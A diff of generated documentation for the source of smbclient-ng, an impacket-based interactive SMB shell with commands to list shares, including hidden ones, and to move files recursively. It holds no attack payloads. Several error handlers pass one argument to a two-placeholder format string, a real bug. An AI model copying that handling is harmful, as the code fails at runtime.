filecontent = rawcontents.decode(encoding).rstrip() +293 print(filecontent) +294 else: +295 print("[!] Could not detect charset of '%s'." % path) +296 except impacket.smbconnection.SessionError as e: +297 print("[!] SMB Error: %s" % e) +298 +299 def command_close(self, arguments, command): +300 # Command arguments required : No +301 # Active SMB connection needed : No +302 # SMB share needed : No 303 -304 @command_arguments_required -305 def command_lcd(self, arguments, command): -306 # Command arguments required : Yes -307 # Active SMB connection needed : No -308 # SMB share needed : No -309 -310 path = ' '.join(arguments) -311 if os.path.exists(path=path): -312 if os.path.isdir(s=path): -313 os.chdir(path=path) -314 else: -315 print("[!] Path '%s' is not a directory." % path) -316 else: -317 print("[!] Directory '%s' does not exists." % path) -318 -319 def command_lls(self, arguments, command): -320 # Command arguments required : No -321 # Active SMB connection needed : No -322 # SMB share needed : No -323 -324 if len(arguments) == 0: -325 path = '.' -326 else: -327 path = ' '.join(arguments) -328 -329 # lls <directory> -330 if os.path.isdir(path): -331 directory_contents = os.listdir(path=path) -332 for entryname in sorted(directory_contents): -333 path_to_file = path + os.path.sep + entryname -334 rights_str = unix_permissions(path_to_file) -335 size_str = b_filesize(os.path.getsize(filename=path_to_file)) -336 date_str = datetime.datetime.fromtimestamp(os.path.getmtime(filename=path_to_file)).strftime("%Y-%m-%d %H:%M") -337 -338 if os.path.isdir(s=entryname): -339 if self.config.no_colors: -340 print("%s %10s %s %s%s" % (rights_str, size_str, date_str, entryname, os.path.sep)) -341 else: -342 print("%s %10s %s \x1b[1;96m%s\x1b[0m%s" % (rights_str, size_str, date_str, entryname, os.path.sep)) -343 else: -344 if self.config.no_colors: -345 print("%s %10s %s %s" % (rights_str, size_str, date_str, entryname)) -346 else: -347 print("%s %10s %s \x1b[1m%s\x1b[0m" % (rights_str, size_str, date_str, entryname)) -348 # lls <file> -349 elif os.path.isfile(path): -350 rights_str = unix_permissions(path) -351 size_str = b_filesize(os.path.getsize(filename=path)) -352 date_str = datetime.datetime.fromtimestamp(os.path.getmtime(filename=path)).strftime("%Y-%m-%d %H:%M") -353 if self.config.no_colors: -354 print("%s %10s %s %s" % (rights_str, size_str, date_str, os.path.basename(path))) -355 else: -356 print("%s %10s %s \x1b[1m%s\x1b[0m" % (rights_str, size_str, date_str, os.path.basename(path))) -357 else: -358 print("[!] No such file or directory.") -359 -360 @command_arguments_required -361 def command_lmkdir(self, arguments, command): -362 # Command arguments required : Yes -363 # Active SMB connection needed : No -364 # SMB share needed : No -365 -366 path = ' '.join(arguments) -367 -368 # Split each dir -369 if os.path.sep in path: -370 path = path.strip(os.path.sep).split(os.path.sep) -371 else: -372 path = [path] -373 -374 # Create each dir in the path -375 for depth in range(1, len(path)+1): -376 tmp_path = os.path.sep.join(path[:depth]) -377 if not os.path.exists(tmp_path): -378 os.mkdir(path=tmp_path) -379 -380 def command_lpwd(self, arguments, command): -381 # Command arguments required : No -382 # Active SMB connection needed : No -383 # SMB share needed : No -384 -385 print(os.getcwd()) -386 -387 @command_arguments_required -388 def command_lrm(self, arguments, command): -389 # Command arguments required : Yes -390 # Active SMB connection needed : No -391 # SMB share needed : No -392 -393 path = ' '.join(arguments) -394 if os.path.exists(path): -395 if not os.path.isdir(s=path): -396 try: -397 os.remove(path=path) -398 except Exception as e: -399 print("[!] Error removing file '%s' : %s" % path) -400 else: -401 print("[!] Cannot delete '%s'. It is a directory, use 'lrmdir <directory>' instead." % path) -402 else: -403 print("[!] Path '%s' does not exist." % path) -404 -405 @command_arguments_required -406 def command_lrmdir(self, arguments, command): -407 # Command arguments required : Yes -408 # Active SMB connection needed : No -409 # SMB share needed : No -410 -411 path = ' '.join(arguments) -412 if os.path.exists(path): -413 if os.path.isdir(s=path): -414 try: -415 shutil.rmtree(path=path) -416 except Exception as e: -417 print("[!] Error removing directory '%s' : %s" % path) -418 else: -419 print("[!] Cannot delete '%s'. It is a file, use 'lrm <file>' instead." % path) -420 else: -421 print("[!] Path '%s' does not exist." % path) -422 -423 def command_ltree(self, arguments, command): -424 # Command arguments required : No -425 # Active SMB connection needed : No -426 # SMB share needed : No +304 self.smbSession.ping_smb_session() +305 if self.smbSession.connected: +306 self.smbSession.close_smb_session() +307 +308 @command_arguments_required +309 @active_smb_connection_needed +310 @smb_share_is_set +311 def command_get(self, arguments, command): +312 # Command arguments required : Yes +313 # Active SMB connection needed : Yes +314 # SMB share needed : Yes +315 +316 # Get files recursively +317 if arguments[0] == "-r": +318 path = ' '.join(arguments[1:]).replace('/', ntpath.sep) +319 try: +320 self.smbSession.get_file_recursively(path=path) +321 except impacket.smbconnection.SessionError as e: +322 print("[!] SMB Error: %s" % e) +323 # Get a single file +324 else: +325 path = ' '.join(arguments).replace('/', ntpath.sep) +326 try: +327 self.smbSession.get_file(path=path) +328 except impacket.smbconnection.SessionError as e: +329 print("[!] SMB Error: %s" % e) +330 +331 def command_help(self, arguments, command): +332 # Command arguments required : No +333 # Active SMB connection needed : No +334 # SMB share needed : No +335 +336 if len(arguments) != 0: +337 self.commandCompleterObject.print_help(command=arguments[0]) +338 else: +339 self.commandCompleterObject.print_help(command=None) +340 +341 @active_smb_connection_needed +342 def command_info(self, arguments, command): +343 # Command arguments required : No +344 # Active SMB connection needed : Yes +345 # SMB share needed : No +346 +347 print_server_info = False +348 print_share_info = False +349 if len(arguments) != 0: +350 print_server_info = (arguments[0].lower() == "server") +351 print_share_info = (arguments[0].lower() == "share") +352 else: +353 print_server_info = True +354 print_share_info = True +355 +356 try: +357 self.smbSession.info( +358 share=print_share_info, +359 server=print_server_info +360 ) +361 except impacket.smbconnection.SessionError as e: +362 print("[!] SMB Error: %s" % e) +363 +364 @command_arguments_required +365 def command_lcd(self, arguments, command): +366 # Command arguments required : Yes +367 # Active SMB connection needed : No +368 # SMB share needed : No +369 +370 path = ' '.join(arguments) +371 if os.path.exists(path=path): +372 if os.path.isdir(s=path): +373 os.chdir(path=path) +374 else: +375 print("[!] Path '%s' is not a directory." % path) +376 else: +377 print("[!] Directory '%s' does not exists." % path) +378 +379 def command_lls(self, arguments, command): +380 # Command arguments required : No +381 # Active SMB connection needed : No +382 # SMB share needed : No +383 +384 if len(arguments) == 0: +385 path = '.' +386 else: +387 path = ' '.join(arguments) +388 +389 # lls <directory> +390 if os.path.isdir(path): +391 directory_contents = os.listdir(path=path) +392 for entryname in sorted(directory_contents): +393 path_to_file = path + os.path.sep + entryname +394 rights_str = unix_permissions(path_to_file) +395 size_str = b_filesize(os.path.getsize(filename=path_to_file)) +396 date_str = datetime.datetime.fromtimestamp(os.path.getmtime(filename=path_to_file)).strftime("%Y-%m-%d %H:%M") +397 +398 if os.path.isdir(s=entryname): +399 if self.config.no_colors: +400 print("%s %10s %s %s%s" % (rights_str, size_str, date_str, entryname, os.path.sep)) +401 else: +402 print("%s %10s %s \x1b[1;96m%s\x1b[0m%s" % (rights_str, size_str, date_str, entryname, os.path.sep)) +403 else: +404 if self.config.no_colors: +405 print("%s %10s %s %s" % (rights_str, size_str, date_str, entryname)) +406 else: +407 print("%s %10s %s \x1b[1m%s\x1b[0m" % (rights_str, size_str, date_str, entryname)) +408 # lls <file> +409 elif os.path.isfile(path): +410 rights_str = unix_permissions(path) +411 size_str = b_filesize(os.path.getsize(filename=path)) +412 date_str = datetime.datetime.fromtimestamp(os.path.getmtime(filename=path)).strftime("%Y-%m-%d %H:%M") +413 if self.config.no_colors: +414 print("%s %10s %s %s" % (rights_str, size_str, date_str, os.path.basename(path))) +415 else: +416 print("%s %10s %s \x1b[1m%s\x1b[0m" % (rights_str, size_str, date_str, os.path.basename(path))) +417 else: +418 print("[!] No such file or directory.") +419 +420 @command_arguments_required +421 def command_lmkdir(self, arguments, command): +422 # Command arguments required : Yes +423 # Active SMB connection needed : No +424 # SMB share needed : No +425 +426 path = ' '.join(arguments) 427 -428 if len(arguments) == 0: -429 local_tree(path='.', config=self.config) -430 else: -431 local_tree(path=' '.join(arguments), config=self.config) -432 -433 @active_smb_connection_needed -434 @smb_share_is_set -435 def command_ls(self, arguments, command): -436 # Command arguments required : No -437 # Active SMB connection needed : Yes -438 # SMB share needed : Yes +428 # Split each dir +429 if os.path.sep in path: +430 path = path.strip(os.path.sep).split(os.path.sep) +431 else: +432 path = [path] +433 +434 # Create each dir in the path +435 for depth in range(1, len(path)+1): +436 tmp_path = os.path.sep.join(path[:depth]) +437 if not os.path.exists(tmp_path): +438 os.mkdir(path=tmp_path) 439 -440 # Read the files -441 directory_contents = self.smbSession.list_contents(path=' '.join(arguments)) -442 -443 for longname in sorted(directory_contents.keys(), key=lambda x:x.lower()): -444 windows_ls_entry(directory_contents[longname], self.config) -445 -446 @command_arguments_required -447 @active_smb_connection_needed -448 @smb_share_is_set -449 def command_mkdir(self, arguments, command): -450 # Command arguments required : Yes -451 # Active SMB connection needed : Yes -452 # SMB share needed : Yes -453 -454 path = ' '.join(arguments) -455 self.smbSession.mkdir(path=path) -456 -457 @command_arguments_required -458 @active_smb_connection_needed -459 @smb_share_is_set -460 def command_module(self, arguments, command): -461 module_name = arguments[0] -462 -463 if module_name in self.modules.keys(): -464 module = self.modules[module_name](self.smbSession, self.config) -465 module.run(' '.join(arguments[1:])) -466 else: -467 print("[!] Module '%s' does not exist." % module_name) -468 -469 @command_arguments_required -470 @active_smb_connection_needed -471 @smb_share_is_set -472 def command_put(self, arguments, command): -473 # Command arguments required : Yes -474 # Active SMB connection needed : Yes -475 # SMB share needed : Yes -476 -477 # Put files recursively -478 if arguments[0] == "-r": -479 localpath = ' '.join(arguments[1:]) -480 try: -481 self.smbSession.put_file_recursively(localpath=localpath) -482 except impacket.smbconnection.SessionError as e: -483 print("[!] SMB Error: %s" % e) -484 -485 # Put a single file -486 else: -487 localpath = ' '.join(arguments) -488 try: -489 self.smbSession.put_file(localpath=localpath) -490 except impacket.smbconnection.SessionError as e: -491 print("[!] SMB Error: %s" % e) +440 def command_lpwd(self, arguments, command): +441 # Command arguments required : No +442 # Active SMB connection needed : No +443 # SMB share needed : No +444 +445 print(os.getcwd()) +446 +447 @command_arguments_required +448 def command_lrm(self, arguments, command): +449 # Command arguments required : Yes +450 # Active SMB connection needed : No +451 # SMB share needed : No +452 +453 path = ' '.join(arguments) +454 if os.path.exists(path): +455 if not os.path.isdir(s=path): +456 try: +457 os.remove(path=path) +458 except Exception as e: +459 print("[!] Error removing file '%s' : %s" % path) +460 else: +461 print("[!] Cannot delete '%s'. It is a directory, use 'lrmdir <directory>' instead." % path) +462 else: +463 print("[!] Path '%s' does not exist." % path) +464 +465 @command_arguments_required +466 def command_lrmdir(self, arguments, command): +467 # Command arguments required : Yes +468 # Active SMB connection needed : No +469 # SMB share needed : No +470 +471 path = ' '.join(arguments) +472 if os.path.exists(path): +473 if os.path.isdir(s=path): +474 try: +475 shutil.rmtree(path=path) +476 except Exception as e: +477 print("[!] Error removing directory '%s' : %s" % path) +478 else: +479 print("[!] Cannot delete '%s'. It is a file, use 'lrm <file>' instead." % path) +480 else: +481 print("[!] Path '%s' does not exist." % path) +482 +483 def command_ltree(self, arguments, command): +484 # Command arguments required : No +485 # Active SMB connection needed : No +486 # SMB share needed : No +487 +488 if len(arguments) == 0: +489 local_tree(path='.', config=self.config) +490 else: +491 local_tree(path=' '.join(arguments), config=self.config) 492 -493 def command_reconnect(self, arguments, command): -494 # Command arguments required : No -495 # Active SMB connection needed : No -496 # SMB share needed : No -497 -498 self.smbSession.ping_smb_session() -499 if self.smbSession.connected: -500 self.smbSession.close_smb_session() -501 self.smbSession.init_smb_session() -502 else: -503 self.smbSession.init_smb_session() -504 -505 def command_reset(self, arguments, command): -506 # Command arguments required : No -507 # Active SMB connection needed : No -508 # SMB share needed : No -509 sys.stdout.write('\x1b[?25h') # Sets the cursor to on -510 sys.stdout.write('\x1b[v') -511 sys.stdout.write('\x1b[o') # Reset -512 sys.stdout.flush() +493 @active_smb_connection_needed +494 @smb_share_is_set +495 def command_ls(self, arguments, command): +496 # Command arguments required : No +497 # Active SMB connection needed : Yes +498 # SMB share needed : Yes +499 +500 # Read the files +501 directory_contents = self.smbSession.list_contents(path=' '.join(arguments)) +502 +503 for longname in sorted(directory_contents.keys(), key=lambda x:x.lower()): +504 windows_ls_entry(directory_contents[longname], self.config) +505 +506 @command_arguments_required +507 @active_smb_connection_needed +508 @smb_share_is_set +509 def command_mkdir(self, arguments, command): +510 # Command arguments required : Yes +511 # Active SMB connection needed : Yes +512 # SMB share needed : Yes 513 -514 @command_arguments_required -515 @active_smb_connection_needed -516 @smb_share_is_set -517 def command_rm(self, arguments, command): -518 # Command arguments required : Yes -519 # Active SMB connection needed : Yes -520 # SMB share needed : Yes -521 -522 path = ' '.join(arguments) -523 if self.smbSession.path_exists(path): -524 if self.smbSession.path_isfile(path): -525 try: -526 self.smbSession.rm(path=path) -527 except Exception as e: -528 print("[!] Error removing file '%s' : %s" % path) -529 else: -530 print("[!] Cannot delete '%s': This is a directory, use 'rmdir <directory>' instead." % path) -531 else: -532 print("[!] Remote file '%s' does not exist." % path) -533 -534 @command_arguments_required -535 @active_smb_connection_needed -536 @smb_share_is_set -537 def command_rmdir(self, arguments, command): -538 # Command arguments required : Yes -539 # Active SMB connection needed : Yes -540 # SMB share needed : Yes -541 -542 path = ' '.join(arguments) -543 if self.smbSession.path_exists(path): -544 if self.smbSession.path_isdir(path): -545 try: -546 self.smbSession.rmdir(path=path) -547 except Exception as e: -548 print("[!] Error removing directory '%s' : %s" % path) -549 else: -550 print("[!] Cannot delete '%s': This is a file, use 'rm <file>' instead." % path) -551 else: -552 print("[!] Remote directory '%s' does not exist." % path) -553 -554 @active_smb_connection_needed -555 def command_shares(self, arguments, command): -556 # Command arguments required : No -557 # Active SMB connection needed : Yes -558 # SMB share needed : No -559 -560 shares = self.smbSession.list_shares() -561 if len(shares.keys()) != 0: -562 table = Table(title=None) -563 table.add_column("Share") -564 table.add_column("Hidden") -565 table.add_column("Type") -566 table.add_column("Description", justify="left") -567 -568 for sharename in sorted(shares.keys()): -569 is_hidden = bool(sharename.endswith('$')) -570 types = ', '.join([s.replace("STYPE_","") for s in shares[sharename]["type"]]) -571 if is_hidden: -572 table.add_row(sharename, str(is_hidden), types, shares[sharename]["comment"]) -573 else: -574 table.add_row(sharename, str(is_hidden), types, shares[sharename]["comment"]) -575 -576 Console().print(table) -577 else: -578 print("[!] No share served on '%s'" % self.smbSession.address) -579 -580 @active_smb_connection_needed -581 @smb_share_is_set -582 def command_tree(self, arguments, command): -583 # Command arguments required : No -584 # Active SMB connection needed : Yes -585 # SMB share needed : Yes -586 -587 if len(arguments) == 0: -588 self.smbSession.tree(path='.') -589 else: -590 self.smbSession.tree(path=' '.join(arguments)) -591 -592 @command_arguments_required -593 @active_smb_connection_needed -594 def command_use(self, arguments, command): -595 # Command arguments required : Yes -596 # Active SMB connection needed : Yes -597 # SMB share needed : No -598 -599 sharename = ' '.join(arguments) -600 # Reload the list of shares -601 shares = self.smbSession.list_shares() -602 shares = [s.lower() for s in shares.keys()] -603 if sharename.lower() in shares: -604 self.smbSession.set_share(sharename) -605 else: -606 print("[!] No share named '%s' on '%s'" % (sharename, self.smbSession.address)) -607 -608 # Private functions ======================================================= -609 -610 def __load_modules(self): -611 -612 -613 self.modules.clear() -614 -615 modules_dir = os.path.normpath(os.path.dirname(__file__) + os.path.sep + ".." + os.path.sep + "modules") -616 if self.config.debug: -617 print("[debug] Loading modules from %s ..." % modules_dir) -618 sys.path.extend([modules_dir]) +514 path = ' '.join(arguments) +515 self.smbSession.mkdir(path=path) +516 +517 @command_arguments_required +518 @active_smb_connection_needed +519 @smb_share_is_set +520 def command_module(self, arguments, command): +521 module_name = arguments[0] +522 +523 if module_name in self.modules.keys(): +524 module = self.modules[module_name](self.smbSession, self.config) +525 module.run(' '.join(arguments[1:])) +526 else: +527 print("[!] Module '%s' does not exist." % module_name) +528 +529 @command_arguments_required +530 @active_smb_connection_needed +531 @smb_share_is_set +532 def command_put(self, arguments, command): +533 # Command arguments required : Yes +534 # Active SMB connection needed : Yes +535 # SMB share needed : Yes +536 +537 # Put files recursively +538 if arguments[0] == "-r": +539 localpath = ' '.join(arguments[1:]) +540 try: +541 self.smbSession.put_file_recursively(localpath=localpath) +542 except impacket.smbconnection.SessionError as e: +543 print("[!] SMB Error: %s" % e) +544 +545 # Put a single file +546 else: +547 localpath = ' '.join(arguments) +548 try: +549 self.smbSession.put_file(localpath=localpath) +550 except impacket.smbconnection.SessionError as e: +551 print("[!] SMB Error: %s" % e) +552 +553 def command_reconnect(self, arguments, command): +554 # Command arguments required : No +555 # Active SMB connection needed : No +556 # SMB share needed : No +557 +558 self.smbSession.ping_smb_session() +559 if self.smbSession.connected: +560 self.smbSession.close_smb_session() +561 self.smbSession.init_smb_session() +562 else: +563 self.smbSession.init_smb_session() +564 +565 def command_reset(self, arguments, command): +566 # Command arguments required : No +567 # Active SMB connection needed : No +568 # SMB share needed : No +569 sys.stdout.write('\x1b[?25h') # Sets the cursor to on +570 sys.stdout.write('\x1b[v') +571 sys.stdout.write('\x1b[o') # Reset +572 sys.stdout.flush() +573 +574 @command_arguments_required +575 @active_smb_connection_needed +576 @smb_share_is_set +577 def command_rm(self, arguments, command): +578 # Command arguments required : Yes +579 # Active SMB connection needed : Yes +580 # SMB share needed : Yes +581 +582 path = ' '.join(arguments) +583 if self.smbSession.path_exists(path): +584 if self.smbSession.path_isfile(path): +585 try: +586 self.smbSession.rm(path=path) +587 except Exception as e: +588 print("[!] Error removing file '%s' : %s" % path) +589 else: +590 print("[!] Cannot delete '%s': This is a directory, use 'rmdir <directory>' instead." % path) +591 else: +592 print("[!] Remote file '%s' does not exist." % path) +593 +594 @command_arguments_required +595 @active_smb_connection_needed +596 @smb_share_is_set +597 def command_rmdir(self, arguments, command): +598 # Command arguments required : Yes +599 # Active SMB connection needed : Yes +600 # SMB share needed : Yes +601 +602 path = ' '.join(arguments) +603 if self.smbSession.path_exists(path): +604 if self.smbSession.path_isdir(path): +605 try: +606 self.smbSession.rmdir(path=path) +607 except Exception as e: +608 print("[!] Error removing directory '%s' : %s" % path) +609 else: +610 print("[!] Cannot delete '%s': This is a file, use 'rm <file>' instead." % path) +611 else: +612 print("[!] Remote directory '%s' does not exist." % path) +613 +614 @active_smb_connection_needed +615 def command_shares(self, arguments, command): +616 # Command arguments required : No +617 # Active SMB connection needed : Yes +618 # SMB share needed : No 619 -620 for file in os.listdir(modules_dir): -621 filepath = os.path.normpath(modules_dir + os.path.sep + file) -622 if file.endswith('.py'): -623 if os.path.isfile(filepath) and file not in ["__init__.py"]: -624 try: -625 module_file = import_module('smbclientng.modules.%s' % (file[:-3])) -626 module = module_file.__getattribute__(file[:-3]) -627 self.modules[module.name.lower()] = module -628 except AttributeError as e: -629 pass -630 -631 if self.config.debug: -632 if len(self.modules.keys()) == 0: -633 print("[debug] Loaded 0 modules.") -634 elif len(self.modules.keys()) == 1: -635 print("[debug] Loaded 1 module:") -636 else: -637 print("[debug] Loaded %d modules:" % len(self.modules.keys())) -638 for modulename in sorted(self.modules.keys()): -639 print("[debug] %s : \"%s\"" % (module.name, module.description)) -640 -641 if self.commandCompleterObject is not None: -642 self.commandCompleterObject.commands["module"]["subcommands"] = list(self.modules.keys()) -643 -644 def __prompt(self): -645 """ -646 Prints the command prompt for the interactive shell. -647 -648 This method constructs and returns the command prompt string based on the current state of the SMB session. -649 The prompt indicates the connection status with a visual symbol and displays the current working directory -650 or the SMB share path. The prompt appearance changes based on whether colors are enabled in the configuration. +620 shares = self.smbSession.list_shares() +621 if len(shares.keys()) != 0: +622 table = Table(title=None) +623 table.add_column("Share") +624 table.add_column("Hidden") +625 table.add_column("Type") +626 table.add_column("Description", justify="left") +627 +628 for sharename in sorted(shares.keys()): +629 is_hidden = bool(sharename.endswith('$')) +630 types = ', '.join([s.replace("STYPE_","") for s in shares[sharename]["type"]]) +631 if is_hidden: +632 table.add_row(sharename, str(is_hidden), types, shares[sharename]["comment"]) +633 else: +634 table.add_row(sharename, str(is_hidden), types, shares[sharename]["comment"]) +635 +636 Console().print(table) +637 else: +638 print("[!] No share served on '%s'" % self.smbSession.address) +639 +640 @active_smb_connection_needed +641 @smb_share_is_set +642 def command_tree(self, arguments, command): +643 # Command arguments required : No +644 # Active SMB connection needed : Yes +645 # SMB share needed : Yes +646 +647 if len(arguments) == 0: +648 self.smbSession.tree(path='.') +649 else: +650 self.smbSession.tree(path=' '.join(arguments)) 651 -652 Returns: -653 str: The formatted command prompt string. -654 """ -655 -656 self.smbSession.ping_smb_session() -657 if self.smbSession.connected: -658 if self.config.no_colors: -659 connected_dot = "[v]" -660 else: -661 connected_dot = "\x1b[1;92m⏺\x1b[0m" -662 else: -663 if self.config.no_colors: -664 connected_dot = "[x]" -665 else: -666 connected_dot = "\x1b[1;91m⏺\x1b[0m" -667 -668 if self.smbSession.smb_share is None: -669 if self.config.no_colors: -670 str_prompt = "%s[\\\\%s\\]> " % (connected_dot, self.smbSession.address) -671 else: -672 str_prompt = "%s[\x1b[1;94m\\\\%s\\\x1b[0m]> " % (connected_dot, self.smbSession.address) -673 else: -674 str_path = "\\\\%s\\%s\\%s" % (self.smbSession.address, self.smbSession.smb_share, self.smbSession.smb_cwd.lstrip(ntpath.sep)) -675 if self.config.no_colors: -676 str_prompt = "%s[%s]> " % (connected_dot, str_path) -677 else: -678 str_prompt = "%s[\x1b[1;94m%s\x1b[0m]> " % (connected_dot, str_path) +652 @command_arguments_required +653 @active_smb_connection_needed +654 def command_use(self, arguments, command): +655 # Command arguments required : Yes +656 # Active SMB connection needed : Yes +657 # SMB share needed : No +658 +659 sharename = ' '.join(arguments) +660 # Reload the list of shares +661 shares = self.smbSession.list_shares() +662 shares = [s.lower() for s in shares.keys()] +663 if sharename.lower() in shares: +664 self.smbSession.set_share(sharename) +665 else: +666 print("[!] No share named '%s' on '%s'" % (sharename, self.smbSession.address)) +667 +668 # Private functions ======================================================= +669 +670 def __load_modules(self): +671 +672 +673 self.modules.clear() +674 +675 modules_dir = os.path.normpath(os.path.dirname(__file__) + os.path.sep + ".." + os.path.sep + "modules") +676 if self.config.debug: +677 print("[debug] Loading modules from %s ..." % modules_dir) +678 sys.path.extend([modules_dir]) 679 -680 return str_prompt +680 for file in os.listdir(modules_dir): +681 filepath = os.path.normpath(modules_dir + os.path.sep + file) +682 if file.endswith('.py'): +683 if os.path.isfile(filepath) and file not in ["__init__.py"]: +684 try: +685 module_file = import_module('smbclientng.modules.%s' % (file[:-3])) +686 module = module_file.__getattribute__(file[:-3]) +687 self.modules[module.name.lower()] = module +688 except AttributeError as e: +689 pass +690 +691 if self.config.debug: +692 if len(self.modules.keys()) == 0: +693 print("[debug] Loaded 0 modules.") +694 elif len(self.modules.keys()) == 1: +695 print("[debug] Loaded 1 module:") +696 else: +697 print("[debug] Loaded %d modules:" % len(self.modules.keys())) +698 for modulename in sorted(self.modules.keys()): +699 print("[debug] %s : \"%s\" (%s)" % (self.modules[modulename].name, self.modules[modulename].description, self.modules[modulename])) +700 +701 if self.commandCompleterObject is not None: +702 self.commandCompleterObject.commands["module"]["subcommands"] = list(self.modules.keys()) +703 +704 def __prompt(self): +705 """ +706 Prints the command prompt for the interactive shell. +707 +708 This method constructs and returns the command prompt string based on the current state of the SMB session. +709 The prompt indicates the connection status with a visual symbol and displays the current working directory +710 or the SMB share path. The prompt appearance changes based on whether colors are enabled in the configuration. +711 +712 Returns: +713 str: The formatted command prompt string. +714 """ +715 +716 self.smbSession.ping_smb_session() +717 if self.smbSession.connected: +718 if self.config.no_colors: +719 connected_dot = "[v]" +720 else: +721 connected_dot = "\x1b[1;92m⏺\x1b[0m" +722 else: +723 if self.config.no_colors: +724 connected_dot = "[x]" +725 else: +726 connected_dot = "\x1b[1;91m⏺\x1b[0m" +727 +728 if self.smbSession.smb_share is None: +729 if self.config.no_colors: +730 str_prompt = "%s[\\\\%s\\]> " % (connected_dot, self.smbSession.address) +731 else: +732 str_prompt = "%s[\x1b[1;94m\\\\%s\\\x1b[0m]> " % (connected_dot, self.smbSession.address) +733 else: +734 str_path = "\\\\%s\\%s\\%s" % (self.smbSession.address, self.smbSession.smb_share, self.smbSession.smb_cwd.lstrip(ntpath.sep)) +735 if self.config.no_colors: +736 str_prompt = "%s[%s]> " % (connected_dot, str_path) +737 else: +738 str_prompt = "%s[\x1b[1;94m%s\x1b[0m]> " % (connected_dot, str_path) +739 +740 return str_prompt

    @@ -851,15 +917,15 @@

    -
    26def command_arguments_required(func):
    -27    def wrapper(*args, **kwargs):
    -28        self, arguments,command  = args[0], args[1], args[2]
    -29        if len(arguments) != 0:
    -30            return func(*args, **kwargs)
    -31        else:
    -32            self.commandCompleterObject.print_help(command=command)
    -33            return None
    -34    return wrapper
    +            
    28def command_arguments_required(func):
    +29    def wrapper(*args, **kwargs):
    +30        self, arguments,command  = args[0], args[1], args[2]
    +31        if len(arguments) != 0:
    +32            return func(*args, **kwargs)
    +33        else:
    +34            self.commandCompleterObject.print_help(command=command)
    +35            return None
    +36    return wrapper
     
    @@ -877,17 +943,17 @@

    -
    36def active_smb_connection_needed(func):
    -37    def wrapper(*args, **kwargs):
    -38        self, arguments,command  = args[0], args[1], args[2]
    -39        #
    -40        self.smbSession.ping_smb_session()
    -41        if self.smbSession.connected:
    -42            return func(*args, **kwargs)
    -43        else:
    -44            print("[!] SMB Session is disconnected.")
    -45            return None
    -46    return wrapper
    +            
    38def active_smb_connection_needed(func):
    +39    def wrapper(*args, **kwargs):
    +40        self, arguments,command  = args[0], args[1], args[2]
    +41        #
    +42        self.smbSession.ping_smb_session()
    +43        if self.smbSession.connected:
    +44            return func(*args, **kwargs)
    +45        else:
    +46            print("[!] SMB Session is disconnected.")
    +47            return None
    +48    return wrapper
     
    @@ -905,15 +971,15 @@

    -
    48def smb_share_is_set(func):
    -49    def wrapper(*args, **kwargs):
    -50        self, arguments,command  = args[0], args[1], args[2]
    -51        if self.smbSession.smb_share is not None:
    -52            return func(*args, **kwargs)
    -53        else:
    -54            print("[!] You must open a share first, try the 'use <share>' command.")
    -55            return None
    -56    return wrapper
    +            
    50def smb_share_is_set(func):
    +51    def wrapper(*args, **kwargs):
    +52        self, arguments,command  = args[0], args[1], args[2]
    +53        if self.smbSession.smb_share is not None:
    +54            return func(*args, **kwargs)
    +55        else:
    +56            print("[!] You must open a share first, try the 'use <share>' command.")
    +57            return None
    +58    return wrapper
     
    @@ -931,629 +997,687 @@

    -
     59class InteractiveShell(object):
    - 60    """
    - 61    Class InteractiveShell is designed to manage the interactive command line interface for smbclient-ng.
    - 62    
    - 63    This class handles user input, executes commands, and manages the state of the SMB session. It provides
    - 64    a command line interface for users to interact with SMB shares, execute commands like directory listing,
    - 65    file transfer, and more.
    - 66
    - 67    Attributes:
    - 68        smbSession (SMBConnection): The active SMB connection session.
    - 69        debug (bool): Flag to enable or disable debug mode.
    - 70        smb_share (str): The current SMB share in use.
    - 71        smb_path (str): The current path within the SMB share.
    - 72        commandCompleterObject (CommandCompleter): Object to handle command completion and help generation.
    - 73
    - 74    Methods:
    - 75        __init__(self, smbSession, debug=False): Initializes the InteractiveShell with the given SMB session and debug mode.
    - 76        run(self): Starts the command line interface loop, processing user input until exit.
    - 77    """
    - 78    
    - 79    def __init__(self, smbSession, config):
    - 80        # Objects
    - 81        self.smbSession = smbSession
    - 82        self.config = config
    - 83        self.commandCompleterObject = CommandCompleter(smbSession=self.smbSession, config=self.config)
    - 84        readline.set_completer(self.commandCompleterObject.complete)
    - 85        readline.parse_and_bind("tab: complete")
    - 86        readline.set_completer_delims("\n")
    - 87        # Additional modules
    - 88        self.modules = {}
    - 89        self.__load_modules()
    - 90
    - 91    def run(self):
    - 92        running = True
    - 93        while running:
    - 94            try:
    - 95                user_input = input(self.__prompt()).strip().split(" ")
    - 96                command, arguments = user_input[0].lower(), user_input[1:]
    - 97                
    - 98                # Exit the command line
    - 99                if command == "exit":
    -100                    running = False
    -101
    -102                elif command in self.commandCompleterObject.commands.keys():
    -103                    self.process_command(
    -104                        command=command, 
    -105                        arguments=arguments
    -106                    )
    -107
    -108                elif command.strip() == "":
    -109                    pass
    -110
    -111                # Fallback to unknown command
    -112                else:
    -113                    print("Unknown command. Type \"help\" for help.")
    -114
    -115            except KeyboardInterrupt as e:
    -116                print()
    -117
    -118            except EOFError as e:
    -119                print()
    -120                running = False
    -121
    -122            except Exception as e:
    -123                if self.config.debug:
    -124                    traceback.print_exc()
    -125                print("[!] Error: %s" % str(e))
    -126
    -127    def process_command(self, command, arguments=[]):
    -128        # Skip
    -129        if command.strip() == "":
    -130            pass
    -131        
    -132        # Display help
    -133        elif command == "help":
    -134            self.command_help(arguments, command)
    -135
    -136        # Closes the current SMB session
    -137        elif command == "close":
    -138            self.command_close(arguments, command)
    -139               
    -140        # Change directory in the current share
    -141        elif command == "cd":
    -142            self.command_cd(arguments, command)
    -143
    -144        # Get a file
    -145        elif command == "get":
    -146            self.command_get(arguments, command)
    -147
    -148        # SMB server info
    -149        elif command == "info":
    -150            self.command_info(arguments, command)
    -151
    -152        # List directory contents in a share
    -153        elif command in ["ls", "dir"]:
    -154            self.command_ls(arguments, command)
    -155
    -156        # Creates a new remote directory
    -157        elif command == "mkdir":
    -158            self.command_mkdir(arguments, command)
    -159
    -160        # Put a file
    -161        elif command == "put":
    -162            self.command_put(arguments, command)
    -163
    -164        # Changes the current local directory
    -165        elif command == "lcd":
    -166            self.command_lcd(arguments, command)
    -167
    -168        # Lists the contents of the current local directory
    -169        elif command == "lls":
    -170            self.command_lls(arguments, command)
    -171
    -172        # Creates a new local directory
    -173        elif command == "lmkdir":
    -174            self.command_lmkdir(arguments, command)
    -175
    -176        # Shows the current local directory
    -177        elif command == "lpwd":
    -178            self.command_lpwd(arguments, command)
    -179
